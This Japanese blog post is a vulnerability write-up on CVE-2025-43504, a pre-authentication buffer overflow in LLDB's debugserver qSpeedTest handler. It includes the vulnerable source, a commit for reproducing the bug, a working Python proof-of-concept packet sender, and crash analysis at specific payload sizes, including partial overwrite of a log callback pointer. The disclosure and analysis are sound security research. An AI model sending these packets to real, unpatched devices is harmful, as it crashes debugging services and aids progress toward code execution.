
debugserver におけるリモート認証前オーバーフロー子供の頃、私はよく地元のウォルマートで DVD の特価ビンを掘り返すのが好きでした。同じ映画がたくさん上に置かれていることに気づきましたが、実際に掘り返すと、より面白くてニッチなタイトルを見つけることができました。
プログラムがバッファをオーバーフローさせるとき、あなたは本質的にその特価ビンに手を突っ込んでいます。どのくらい深く手を伸ばすかによって、DVD - この場合ならメモリ内で上書きされる構造体 - が変わることがあります。
今日の特価品 /bin は CVE-2025-43504 です。私が LLDB の debugserver で発見したリモート認証前グローバルバッファオーバーフローです。
アプリ開発中、開発者は物理的な iOS デバイス上でアプリをデバッグする必要に迫られることがよくあります。これを実現するために、Xcode は対象の iPhone に Developer Disk Image をマウントし、それとペアリングします。
ペアリングが完了すると、macOS ホストはクライアントにインストールされた debugserver を使って iOS クライアントと通信できるようになります。デバイスの debugserver への GDB-remote セッションを確立できるクライアントは、qSpeedTest ハンドラに到達し、脆弱なバッファをオーバーフローさせることができます。
Apple が CVE-2025-43504 をどのように分類したかをより深く理解するため、Xcode 26.1 のセキュリティリリースページを見てみましょう。

現代のソフトウェア緩和策により、Apple はバッファオーバーフローを主にサービス拒否の問題とみなしており、メモリ破損のプリミティブとは考えていません。本日見ていくように、これは概ね事実であり、攻撃者はいくつかのハードルを乗り越え、任意のコード実行を達成するためにこの問題を別のバグと組み合わせる必要があるでしょう。
パッチ適用前の debugserver を試してみたい場合は、次のコミット、または ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de より前の任意のコミットを使用してください。
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
RNBRemote.cpp のパッチが適用される前は、iOS デバイスの debugserver に接続できるリモートユーザーは、認証前の qSpeedTest パケットを RNBRemote::HandlePacket_qSpeedTest に送信し、debugserver のグローバルデータセグメント内の隣接する構造体を破損させることができました。
ただし、重要な注意点があります: 私たちが制御できるのは破損の長さだけです。ペイロードの内容は 'a' 文字の並びに固定されています。学生は安定して高い成績を得られるかもしれませんが、実際に書き込まれるバイトを制御できないという事実は、このオーバーフローの実用性を大幅に制限します。制御できるのは 'a' の洪水がどこまで進むかだけです。
それでは、RNBRemote::HandlePacket_qSpeedTest の内部を見て、何が起きているのかを正確に確認しましょう。
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
RNBRemote::HandlePacket_qSpeedTest() の役割は、iOS デバイスの debugserver バイナリと通信できるリモートユーザーからの認証を必要とせずに、受信した qSpeedTest:response_size:<hex>; パケットを処理することです。
しかし、リモートユーザーが debugserver に qSpeedTest:response_size:<hex>; パケットを送信できるようになると、debugserver はユーザー提供の response_size を処理する前に認証チェックを行いません。したがって、Developer Disk Image をマウントした iOS デバイスと通信できるユーザーは、qSpeedTest:response_size:<hex>; パケットを介して debugserver をオーバーフローさせることができます。
脆弱な関数 RNBRemote::HandlePacket_qSpeedTest() に到達したところで、オーバーフローが正確にどのように発生するのかを調べてみましょう。まず、qSpeedTest:response_size:<hex>; パケット内のユーザー指定サイズ <hex> が抽出され、変数 response_size に格納されます。
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
パースが成功し、次の文字がセミコロンであれば、関数ローカルな静的 4 MiB + 16 バイトのバッファ g_data が初期化され、ASCII ヘッダー "data:" でシードされます。
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
すべてをまとめると、memset は、ユーザーが制御する response_size 値を使用する 'a' の数として、静的 4 MiB + 16 バイトのバッファ g_data を 'a' で埋めます。
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
したがって、リモート LLDB クライアントが 4 MiB + 16 バイトのバッファより大きい response_size を持つ qSpeedTest:response_size:<hex>; パケットを送信するたびに、バッファオーバーフローが発生し、debugserver のグローバルデータセグメント (.bss) に格納されている隣接するグローバル変数が破損します。
オーバーフローの背後にあるアーキテクチャを理解したところで、実際の脆弱性の仕組みに飛び込んでみましょう。まず、以下の Python プログラムを使って、g_data オーバーフローによって得られる破損プリミティブを調べてみましょう。
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()
print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")
if __name__ == "__main__":
main()
debugserver を起動した後、以下の python3 コマンドを実行し、response_size として 4004AB を指定します。
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
debugserver はクラッシュせず、通常どおり戻ることがわかります。

技術的には範囲外ですが、g_data は \0 バイトで終端されているため、隣接するログ関数ポインタ g_log_callback は NULL バイトによって上書きされるだけで、ポインタ全体は NULL のままになります。
debugserver を起動した後、以下の python3 コマンドを実行し、response_size として 0x4004AC を指定します。
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
なんてこった!

追加の 1 バイトを指定することで、NULL テールを越えて押し出され、隣接する g_log_callback ポインタを 0x61 の値で逆参照することになり、クラッシュが発生しました。それでは、--size パラメータを 1 ずつ増やし続けて、何が起こるか見てみましょう。

ご覧のとおり、g_log_callback の値を制御できるようになりました。まあ、部分的には、実際に制御できるのは g_log_callback 内の何バイトが 0x61 に等しくなるかということだけです。
これは _DNBLogVAPrintf で発生するのを確認できます。
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}
g_log_callback が非 NULL であるため、ミューテックスがロックされ、破損したポインタを呼び出してクラッシュします。response_size が 0x4004B3 を超えると、response_size に 0x7F オフセットが追加されるまで、クラッシュアドレスや対応するスタックトレースに実際の変化が見られなくなります。論理的には、これは理にかなっています。g_log_callback ポインタが破損すると、g_log_callback の逆参照による最初のクラッシュが発生するため、他のログ構造内の後続の破損は無関係になるからです。
興味深いことに、パッチ適用前の macOS のプロダクションリリースでは、この部分的なポインタ制御を使用して、メモリ内のさまざまなユーザースペースポインタを上書きすることができました。
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169
なぜか、各アドレスの末尾バイトは常に 0x8 バイトずつ増加していました。しかし、末尾の 0x6169 バイトによって生じるアライメントの問題を解決でき、上書きされたポインタによって逆参照されるデータを何らかの方法で予測・制御できれば、理論的には制御フローをリダイレクトし、最終的にコード実行を達成できるでしょう。
破損した g_log_callback ポインタを逆参照する前のミューテックスのロックについて簡単に説明しました。ここで、response_size が 0x40052C になると、ミューテックス自体が破損します。

この問題は、_DNBLogVAPrintf が lock_guard コンストラクションを実行したときに発生したことがわかります。
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
スタックトレースから、lock_guard は __m_.lock が呼び出されたときにフォールトすることがわかります。
31│ _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
32│ : __m_(__m) {
33│ __m_.lock();
│ ▲
34│ }
35│
さらに調べるために、std::recursive_mutex の関数定義を見てみましょう。
void recursive_mutex::lock() {
int ec = __libcpp_recursive_mutex_lock(&__m_);
if (ec)
std::__throw_system_error(ec, "recursive_mutex lock failed");
}
これは __libcpp_recursive_mutex_lock のラッパーであるようです。
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
return pthread_mutex_lock(__m);
}
そして、これは pthread_mutex_lock のラッパーであるようです。
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
return _pthread_mutex_lock(mutex, false);
}
さらにこれは _pthread_mutex_lock の別のラッパーです... しかし、そこまで掘り下げる必要はありません。
pthread_mutex_t ポインタが私たちのオーバーフローによって破損しているため、pthread_mutex_lock は std::system_error("recursive_mutex lock failed") をスローし、プログラムは abort() を呼び出して終了します。
プログラムが abort するため、0x40052C から 0x402C62 の間の response_size の悪用は、macOS によって実行される追加チェックにより同期プリミティブを破損することになるため、はるかに困難です。
ここで、response_size に 0x402C63 以上を使用すると、memset がカーネルがメモリ内の .bss セグメントの後に配置したガードページまたは未マップ領域の境界を越えた瞬間に、RNBRemote::HandlePacket_qSpeedTest 内で CPU フォールトが発生します。

この最後のオーバーフローバリアントは、プログラム実行を制御する直接的な方法がないため、それほど興味深いものではありません。
問題自体を取り上げたところで、Apple がどのようにパッチを当てたかを見てみましょう。

パッチの説明によると、
この割り当てをヒープ上に変更し、テストできる最大サイズ(当面は 4MB)を課す。
2 つの大きな変更が見られます。
debugserver のグローバルデータセグメント (.bss) ではなくヒープ上にあるApple のソフトウェアとシステムの背後には広範なクローズドソースエコシステムがあるため、ソフトウェアの欠陥を確実に発見して理解することは常に困難です。
しかし、Apple が依存しているオープンソースの依存関係は常に存在します。そのうちの 1 つで問題を見つけることができれば、下流に影響が及ぶ可能性が高いです。
ハンティングの幸運を祈ります。そして、見つけた問題は必ず責任を持って開示してください 😉